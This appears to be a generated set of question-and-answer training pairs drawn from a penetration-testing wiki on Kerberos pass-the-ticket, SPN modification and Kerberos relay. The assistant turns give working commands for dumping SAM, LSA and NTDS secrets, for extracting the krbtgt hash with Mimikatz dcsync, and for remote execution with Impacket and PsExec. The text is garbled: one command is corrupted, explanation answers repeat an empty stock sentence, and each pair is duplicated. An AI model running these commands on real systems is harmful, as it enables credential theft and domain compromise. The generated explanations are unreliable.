* On UNIX-like systems, once the KRB5CCNAME variable is exported, the ticket can be used by tools that support Kerberos authentication.

::: tabs

=== Credentials dumping

The Impacket scripts like secretsdump (Python) have the ability to remotely dump hashes and LSA secrets from a machine.

``bash
secretsdump.py -k $TARGET
`

NetExec (Python) has the ability to do it on a set of targets. The bh_owned has the ability to set targets as "owned" in BloodHound (see dumping credentials from registry hives).

`bash
netexec smb $TARGETS -k --sam
netexec smb $TARGETS -k --lsa
netexecETS -k --ntds
`

Lsassy (Python) has the ability to do it with higher success probabilities as it offers multiple dumping methods. This tool can set targets as "owned" in BloodHound. It works in standalone but also as a NetExec module (see dumping credentials from lsass process memory).

`bash
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -k $TARGETS
`

On Windows, once the ticket is injected, it will natively be used when accessing a service, for example with Mimikatz to extract the krbtgt hash with lsadump::dcsync.

`bash
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
`

=== Command execution

Some Impacket scripts (Python) enable testers to execute commands on target systems with Kerberos support.

`bash
psexec.py -k 'DOMAIN/USER@TARGET'
smbexec.py -k 'DOMAIN/USER@TARGET'
wmiexec.py -k 'DOMAIN/USER@TARGET'
atexec.py -k 'DOMAIN/USER@TARGET'
dcomexec.py -k 'DOMAIN/USER@TARGET'
`

NetExec (Python) has the ability to do it on a set of targets

`bash
netexec winrm $TARGETS -k -x whoami
netexec smb $TARGETS -k -x whoami
`

On Windows, legitimate tools like the sysinternals PsExec (download) can then be used to open a cmd using that ticket.

`powershell
.\PsExec.exe -accepteula \\$TARGET cmd
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Pass the ticket - Passing the ticket?

[Assistant]
* On Windows, once Kerberos tickets are injected, they can be used natively.
* On UNIX-like systems, once the KRB5CCNAME variable is exported, the ticket can be used by tools that support Kerberos authentication.

::: tabs

=== Credentials dumping

The Impacket scripts like secretsdump (Python) have the ability to remotely dump hashes and LSA secrets from a machine.

``bash
secretsdump.py -k $TARGET
`

NetExec (Python) has the ability to do it on a set of targets. The bh_owned has the ability to set targets as "owned" in BloodHound (see dumping credentials from registry hives).

`bash
netexec smb $TARGETS -k --sam
netexec smb $TARGETS -k --lsa
netexecETS -k --ntds
`

Lsassy (Python) has the ability to do it with higher success probabilities as it offers multiple dumping methods. This tool can set targets as "owned" in BloodHound. It works in standalone but also as a NetExec module (see dumping credentials from lsass process memory).

`bash
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -k $TARGETS
`

On Windows, once the ticket is injected, it will natively be used when accessing a service, for example with Mimikatz to extract the krbtgt hash with lsadump::dcsync.

`bash
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
`

=== Command execution

Some Impacket scripts (Python) enable testers to execute commands on target systems with Kerberos support.

`bash
psexec.py -k 'DOMAIN/USER@TARGET'
smbexec.py -k 'DOMAIN/USER@TARGET'
wmiexec.py -k 'DOMAIN/USER@TARGET'
atexec.py -k 'DOMAIN/USER@TARGET'
dcomexec.py -k 'DOMAIN/USER@TARGET'
`

NetExec (Python) has the ability to do it on a set of targets

`bash
netexec winrm $TARGETS -k -x whoami
netexec smb $TARGETS -k -x whoami
`

On Windows, legitimate tools like the sysinternals PsExec (download) can then be used to open a cmd using that ticket.

`powershell
.\PsExec.exe -accepteula \\$TARGET cmd
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Pass the ticket - Passing the ticket?

Response:
* On Windows, once Kerberos tickets are injected, they can be used natively.
* On UNIX-like systems, once the KRB5CCNAME variable is exported, the ticket can be used by tools that support Kerberos authentication.

::: tabs

=== Credentials dumping

The Impacket scripts like secretsdump (Python) have the ability to remotely dump hashes and LSA secrets from a machine.

``bash
secretsdump.py -k $TARGET
`

NetExec (Python) has the ability to do it on a set of targets. The bh_owned has the ability to set targets as "owned" in BloodHound (see dumping credentials from registry hives).

`bash
netexec smb $TARGETS -k --sam
netexec smb $TARGETS -k --lsa
netexecETS -k --ntds
`

Lsassy (Python) has the ability to do it with higher success probabilities as it offers multiple dumping methods. This tool can set targets as "owned" in BloodHound. It works in standalone but also as a NetExec module (see dumping credentials from lsass process memory).

`bash
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -k $TARGETS
`

On Windows, once the ticket is injected, it will natively be used when accessing a service, for example with Mimikatz to extract the krbtgt hash with lsadump::dcsync.

`bash
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
`

=== Command execution

Some Impacket scripts (Python) enable testers to execute commands on target systems with Kerberos support.

`bash
psexec.py -k 'DOMAIN/USER@TARGET'
smbexec.py -k 'DOMAIN/USER@TARGET'
wmiexec.py -k 'DOMAIN/USER@TARGET'
atexec.py -k 'DOMAIN/USER@TARGET'
dcomexec.py -k 'DOMAIN/USER@TARGET'
`

NetExec (Python) has the ability to do it on a set of targets

`bash
netexec winrm $TARGETS -k -x whoami
netexec smb $TARGETS -k -x whoami
`

On Windows, legitimate tools like the sysinternals PsExec (download) can then be used to open a cmd using that ticket.

`powershell
.\PsExec.exe -accepteula \\$TARGET cmd
``

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the secretsdump.py syntax for pass the ticket - passing the ticket?

[Assistant] secretsdump.py -k $TARGET

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the secretsdump.py syntax for pass the ticket - passing the ticket?

Response: secretsdump.py -k $TARGET


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Pass the ticket - Passing the ticket

[Assistant] secretsdump.py -k $TARGET

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Pass the ticket - Passing the ticket

Response: secretsdump.py -k $TARGET


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `secretsdump.py -k $TARGET`?

[Assistant] This command is used for pass the ticket - passing the ticket. Passing the ticket

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `secretsdump.py -k $TARGET`?

Response: This command is used for pass the ticket - passing the ticket. Passing the ticket


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the netexec command to pass the ticket - passing the ticket

[Assistant]
netexec smb $TARGETS -k --sam
netexec smb $TARGETS -k --lsa
netexecETS -k --ntds

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the netexec command to pass the ticket - passing the ticket

Response:
netexec smb $TARGETS -k --sam
netexec smb $TARGETS -k --lsa
netexecETS -k --ntds


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Pass the ticket - Passing the ticket

[Assistant]
netexec smb $TARGETS -k --sam
netexec smb $TARGETS -k --lsa
netexecETS -k --ntds

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Pass the ticket - Passing the ticket

Response:
netexec smb $TARGETS -k --sam
netexec smb $TARGETS -k --lsa
netexecETS -k --ntds


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `netexec smb $TARGETS -k --sam`?

[Assistant] This command is used for pass the ticket - passing the ticket. Passing the ticket

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `netexec smb $TARGETS -k --sam`?

Response: This command is used for pass the ticket - passing the ticket. Passing the ticket


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the netexec command to pass the ticket - passing the ticket

[Assistant]
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -k $TARGETS

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response:
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -k $TARGETS


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Pass the ticket - Passing the ticket?

[Assistant]
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -k $TARGETS

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -k $TARGETS


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `netexec smb $TARGETS -k -M lsassy`?

[Assistant] This command is used for pass the ticket - passing the ticket. Passing the ticket

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `netexec smb $TARGETS -k -M lsassy`?

Response: This command is used for pass the ticket - passing the ticket. Passing the ticket


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the psexec.py syntax for pass the ticket - passing the ticket?

[Assistant]
psexec.py -k 'DOMAIN/USER@TARGET'
smbexec.py -k 'DOMAIN/USER@TARGET'
wmiexec.py -k 'DOMAIN/USER@TARGET'
atexec.py -k 'DOMAIN/USER@TARGET'
dcomexec.py -k 'DOMAIN/USER@TARGET'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the psexec.py syntax for pass the ticket - passing the ticket?

Response:
psexec.py -k 'DOMAIN/USER@TARGET'
smbexec.py -k 'DOMAIN/USER@TARGET'
wmiexec.py -k 'DOMAIN/USER@TARGET'
atexec.py -k 'DOMAIN/USER@TARGET'
dcomexec.py -k 'DOMAIN/USER@TARGET'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Pass the ticket - Passing the ticket

[Assistant]
psexec.py -k 'DOMAIN/USER@TARGET'
smbexec.py -k 'DOMAIN/USER@TARGET'
wmiexec.py -k 'DOMAIN/USER@TARGET'
atexec.py -k 'DOMAIN/USER@TARGET'
dcomexec.py -k 'DOMAIN/USER@TARGET'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Pass the ticket - Passing the ticket

Response:
psexec.py -k 'DOMAIN/USER@TARGET'
smbexec.py -k 'DOMAIN/USER@TARGET'
wmiexec.py -k 'DOMAIN/USER@TARGET'
atexec.py -k 'DOMAIN/USER@TARGET'
dcomexec.py -k 'DOMAIN/USER@TARGET'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `psexec.py -k 'DOMAIN/USER@TARGET'`?

[Assistant] This command is used for pass the ticket - passing the ticket. Passing the ticket

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `psexec.py -k 'DOMAIN/USER@TARGET'`?

Response: This command is used for pass the ticket - passing the ticket. Passing the ticket


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the netexec syntax for pass the ticket - passing the ticket?

[Assistant]
netexec winrm $TARGETS -k -x whoami
netexec smb $TARGETS -k -x whoami

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the netexec syntax for pass the ticket - passing the ticket?

Response:
netexec winrm $TARGETS -k -x whoami
netexec smb $TARGETS -k -x whoami


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Pass the ticket - Passing the ticket

[Assistant]
netexec winrm $TARGETS -k -x whoami
netexec smb $TARGETS -k -x whoami

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
netexec winrm $TARGETS -k -x whoami
netexec smb $TARGETS -k -x whoami


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `netexec winrm $TARGETS -k -x whoami`?

[Assistant] This command is used for pass the ticket - passing the ticket. Passing the ticket

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `netexec winrm $TARGETS -k -x whoami`?

Response: This command is used for pass the ticket - passing the ticket. Passing the ticket


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Pass the ticket - Passing the ticket?

[Assistant] .\PsExec.exe -accepteula \\$TARGET cmd

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Pass the ticket - Passing the ticket?

Response: .\PsExec.exe -accepteula \\$TARGET cmd


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `.\PsExec.exe -accepteula \\$TARGET cmd`?

[Assistant] This command is used for pass the ticket - passing the ticket. Passing the ticket

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `.\PsExec.exe -accepteula \\$TARGET cmd`?

Response: This command is used for pass the ticket - passing the ticket. Passing the ticket


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Pass the ticket - Modifying the SPN

[Assistant]
When requesting access to a service, a Service Ticket is used. It contains enough information about the user to allow the destination service to decide to grant access or not, without asking the Domain Controller. These pieces of information are stored in a protected blob inside the ST called PAC (Privilege Attribute Certificate). In theory, the user requesting access can't tamper with that PAC.

Another information stored in the ST, outside of the PAC, and unprotected, called sname, indicates what service the ticket is destined to be used for. This information is basically the SPN (Service Principal Name) of the target service. It's split into two elements: the service class, and the hostname.

There are multiple service classes for multiple service types (LDAP, CIFS, HTTP and so on) (more info on adsecurity.org). The problem here is that since the SPN is not protected, there are scenarios (e.g. services configured for constrained delegations) where the service class can be modified in the ticket, allowing attackers to have access to other types of services.

::: tabs

=== UNIX-like

This technique is implemented and attempted by default in all Impacket scripts when doing pass-the-ticket (Impacket tries to change the service class to something else, and calls this "AnySPN").

Impacket's tgssub.py script can also be used for manual manipulation of the service name value. _At the time of writing, 12th Feb. 2022,_ _the pull request_ _adding this script is pending._

``bash
tgssub.py -in ticket.ccache -out newticket.ccache -altservice "cifs/target"
`

=== Windows

With Rubeus, it can be conducted by supplying the /altservice flag when using the s4u or the tgssub modules and the whole SPN can be changed (service class and/or hostname).

`powershell
Rubeus.exe tgssub /altservice:cifs /ticket:"base64 | ticket.kirbi"
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Pass the ticket - Modifying the SPN

Response:
When requesting access to a service, a Service Ticket is used. It contains enough information about the user to allow the destination service to decide to grant access or not, without asking the Domain Controller. These pieces of information are stored in a protected blob inside the ST called PAC (Privilege Attribute Certificate). In theory, the user requesting access can't tamper with that PAC.

Another information stored in the ST, outside of the PAC, and unprotected, called sname, indicates what service the ticket is destined to be used for. This information is basically the SPN (Service Principal Name) of the target service. It's split into two elements: the service class, and the hostname.

There are multiple service classes for multiple service types (LDAP, CIFS, HTTP and so on) (more info on adsecurity.org). The problem here is that since the SPN is not protected, there are scenarios (e.g. services configured for constrained delegations) where the service class can be modified in the ticket, allowing attackers to have access to other types of services.

::: tabs

=== UNIX-like

This technique is implemented and attempted by default in all Impacket scripts when doing pass-the-ticket (Impacket tries to change the service class to something else, and calls this "AnySPN").

Impacket's tgssub.py script can also be used for manual manipulation of the service name value. _At the time of writing, 12th Feb. 2022,_ _the pull request_ _adding this script is pending._

``bash
tgssub.py -in ticket.ccache -out newticket.ccache -altservice "cifs/target"
`

=== Windows

With Rubeus, it can be conducted by supplying the /altservice flag when using the s4u or the tgssub modules and the whole SPN can be changed (service class and/or hostname).

`powershell
Rubeus.exe tgssub /altservice:cifs /ticket:"base64 | ticket.kirbi"
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Pass the ticket - Modifying the SPN during a pentest?

[Assistant]
When requesting access to a service, a Service Ticket is used. It contains enough information about the user to allow the destination service to decide to grant access or not, without asking the Domain Controller. These pieces of information are stored in a protected blob inside the ST called PAC (Privilege Attribute Certificate). In theory, the user requesting access can't tamper with that PAC.

Another information stored in the ST, outside of the PAC, and unprotected, called sname, indicates what service the ticket is destined to be used for. This information is basically the SPN (Service Principal Name) of the target service. It's split into two elements: the service class, and the hostname.

There are multiple service classes for multiple service types (LDAP, CIFS, HTTP and so on) (more info on adsecurity.org). The problem here is that since the SPN is not protected, there are scenarios (e.g. services configured for constrained delegations) where the service class can be modified in the ticket, allowing attackers to have access to other types of services.

::: tabs

=== UNIX-like

This technique is implemented and attempted by default in all Impacket scripts when doing pass-the-ticket (Impacket tries to change the service class to something else, and calls this "AnySPN").

Impacket's tgssub.py script can also be used for manual manipulation of the service name value. _At the time of writing, 12th Feb. 2022,_ _the pull request_ _adding this script is pending._

``bash
tgssub.py -in ticket.ccache -out newticket.ccache -altservice "cifs/target"
`

=== Windows

With Rubeus, it can be conducted by supplying the /altservice flag when using the s4u or the tgssub modules and the whole SPN can be changed (service class and/or hostname).

`powershell
Rubeus.exe tgssub /altservice:cifs /ticket:"base64 | ticket.kirbi"
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Pass the ticket - Modifying the SPN during a pentest?

Response:
When requesting access to a service, a Service Ticket is used. It contains enough information about the user to allow the destination service to decide to grant access or not, without asking the Domain Controller. These pieces of information are stored in a protected blob inside the ST called PAC (Privilege Attribute Certificate). In theory, the user requesting access can't tamper with that PAC.

Another information stored in the ST, outside of the PAC, and unprotected, called sname, indicates what service the ticket is destined to be used for. This information is basically the SPN (Service Principal Name) of the target service. It's split into two elements: the service class, and the hostname.

There are multiple service classes for multiple service types (LDAP, CIFS, HTTP and so on) (more info on adsecurity.org). The problem here is that since the SPN is not protected, there are scenarios (e.g. services configured for constrained delegations) where the service class can be modified in the ticket, allowing attackers to have access to other types of services.

::: tabs

=== UNIX-like

This technique is implemented and attempted by default in all Impacket scripts when doing pass-the-ticket (Impacket tries to change the service class to something else, and calls this "AnySPN").

Impacket's tgssub.py script can also be used for manual manipulation of the service name value. _At the time of writing, 12th Feb. 2022,_ _the pull request_ _adding this script is pending._

``bash
tgssub.py -in ticket.ccache -out newticket.ccache -altservice "cifs/target"
`

=== Windows

With Rubeus, it can be conducted by supplying the /altservice flag when using the s4u or the tgssub modules and the whole SPN can be changed (service class and/or hostname).

`powershell
Rubeus.exe tgssub /altservice:cifs /ticket:"base64 | ticket.kirbi"
``

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the tgssub.py command for pass the ticket - modifying the spn

[Assistant] tgssub.py -in ticket.ccache -out newticket.ccache -altservice "cifs/target"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the tgssub.py command for pass the ticket - modifying the spn

Response: tgssub.py -in ticket.ccache -out newticket.ccache -altservice "cifs/target"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Pass the ticket - Modifying the SPN

[Assistant] tgssub.py -in ticket.ccache -out newticket.ccache -altservice "cifs/target"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Pass the ticket - Modifying the SPN

Response: tgssub.py -in ticket.ccache -out newticket.ccache -altservice "cifs/target"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `tgssub.py -in ticket.ccache -out newticket.ccache -altservice "cifs/target"`?

[Assistant] This command is used for pass the ticket - modifying the spn. Modifying the SPN

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `tgssub.py -in ticket.ccache -out newticket.ccache -altservice "cifs/target"`?

Response: This command is used for pass the ticket - modifying the spn. Modifying the SPN


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the Rubeus.exe syntax for pass the ticket - modifying the spn?

[Assistant] Rubeus.exe tgssub /altservice:cifs /ticket:"base64 | ticket.kirbi"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the Rubeus.exe syntax for pass the ticket - modifying the spn?

Response: Rubeus.exe tgssub /altservice:cifs /ticket:"base64 | ticket.kirbi"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Pass the ticket - Modifying the SPN

[Assistant] Rubeus.exe tgssub /altservice:cifs /ticket:"base64 | ticket.kirbi"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Pass the ticket - Modifying the SPN

Response: Rubeus.exe tgssub /altservice:cifs /ticket:"base64 | ticket.kirbi"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Rubeus.exe tgssub /altservice:cifs /ticket:"base64 | ticket.kirbi"`?

[Assistant] This command is used for pass the ticket - modifying the spn. Modifying the SPN

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Rubeus.exe tgssub /altservice:cifs /ticket:"base64 | ticket.kirbi"`?

Response: This command is used for pass the ticket - modifying the spn. Modifying the SPN


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Kerberos relay - Theory?

[Assistant]
Under certain conditions, an attacker can relay Kerberos authentication to targets of his choosing. Depending on the mitigations in place, he will be able to move laterally and escalate privileges within an Active Directory domain. It is essential to have a good understanding of the basic operation of the Kerberos protocol in order to understand relay attacks on it.

The aim is to relay an AP-REQ message (service access request with a Service Ticket), initiated by a client for one service, to another service. However, there is one crucial prerequisite: the targeted service and client must not apply encryption or signing, as we do not possess the secret (the session key) needed to perform these operations, as in the case of an NTLM relay attack.

Furthermore, an AP-REQ message cannot be relayed to a service running under a different identity to the one initially requested by the client. So for the attack to succeed, we need to force the client to generate an AP-REQ for the target host and send it to us.

In Active Directory, the CLASS of the SPN (HTTP, CIFS, HOST, and so on) doesn't matter most of the time. This is because Windows services only check whether they can decrypt the ST transmitted via the AP-REQ, but do not check the class of service for which the ST was issued. Therefore, if a single account implements different services with different classes of service, this means that an ST issued for one class of service can be used to access all the other services running under the same account's identity.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Under certain conditions, an attacker can relay Kerberos authentication to targets of his choosing. Depending on the mitigations in place, he will be able to move laterally and escalate privileges within an Active Directory domain. It is essential to have a good understanding of the basic operation of the Kerberos protocol in order to understand relay attacks on it.

The aim is to relay an AP-REQ message (service access request with a Service Ticket), initiated by a client for one service, to another service. However, there is one crucial prerequisite: the targeted service and client must not apply encryption or signing, as we do not possess the secret (the session key) needed to perform these operations, as in the case of an NTLM relay attack.

Furthermore, an AP-REQ message cannot be relayed to a service running under a different identity to the one initially requested by the client. So for the attack to succeed, we need to force the client to generate an AP-REQ for the target host and send it to us.

In Active Directory, the CLASS of the SPN (HTTP, CIFS, HOST, and so on) doesn't matter most of the time. This is because Windows services only check whether they can decrypt the ST transmitted via the AP-REQ, but do not check the class of service for which the ST was issued. Therefore, if a single account implements different services with different classes of service, this means that an ST issued for one class of service can be used to access all the other services running under the same account's identity.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Kerberos relay - Theory

[Assistant]
Under certain conditions, an attacker can relay Kerberos authentication to targets of his choosing. Depending on the mitigations in place, he will be able to move laterally and escalate privileges within an Active Directory domain. It is essential to have a good understanding of the basic operation of the Kerberos protocol in order to understand relay attacks on it.

The aim is to relay an AP-REQ message (service access request with a Service Ticket), initiated by a client for one service, to another service. However, there is one crucial prerequisite: the targeted service and client must not apply encryption or signing, as we do not possess the secret (the session key) needed to perform these operations, as in the case of an NTLM relay attack.

Furthermore, an AP-REQ message cannot be relayed to a service running under a different identity to the one initially requested by the client. So for the attack to succeed, we need to force the client to generate an AP-REQ for the target host and send it to us.

In Active Directory, the CLASS of the SPN (HTTP, CIFS, HOST, and so on) doesn't matter most of the time. This is because Windows services only check whether they can decrypt the ST transmitted via the AP-REQ, but do not check the class of service for which the ST was issued. Therefore, if a single account implements different services with different classes of service, this means that an ST issued for one class of service can be used to access all the other services running under the same account's identity.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Kerberos relay - Theory

Response:
Under certain conditions, an attacker can relay Kerberos authentication to targets of his choosing. Depending on the mitigations in place, he will be able to move laterally and escalate privileges within an Active Directory domain. It is essential to have a good understanding of the basic operation of the Kerberos protocol in order to understand relay attacks on it.

The aim is to relay an AP-REQ message (service access request with a Service Ticket), initiated by a client for one service, to another service. However, there is one crucial prerequisite: the targeted service and client must not apply encryption or signing, as we do not possess the secret (the session key) needed to perform these operations, as in the case of an NTLM relay attack.

Furthermore, an AP-REQ message cannot be relayed to a service running under a different identity to the one initially requested by the client. So for the attack to succeed, we need to force the client to generate an AP-REQ for the target host and send it to us.

In Active Directory, the CLASS of the SPN (HTTP, CIFS, HOST, and so on) doesn't matter most of the time. This is because Windows services only check whether they can decrypt the ST transmitted via the AP-REQ, but do not check the class of service for which the ST was issued. Therefore, if a single account implements different services with different classes of service, this means that an ST issued for one class of service can be used to access all the other services running under the same account's identity.


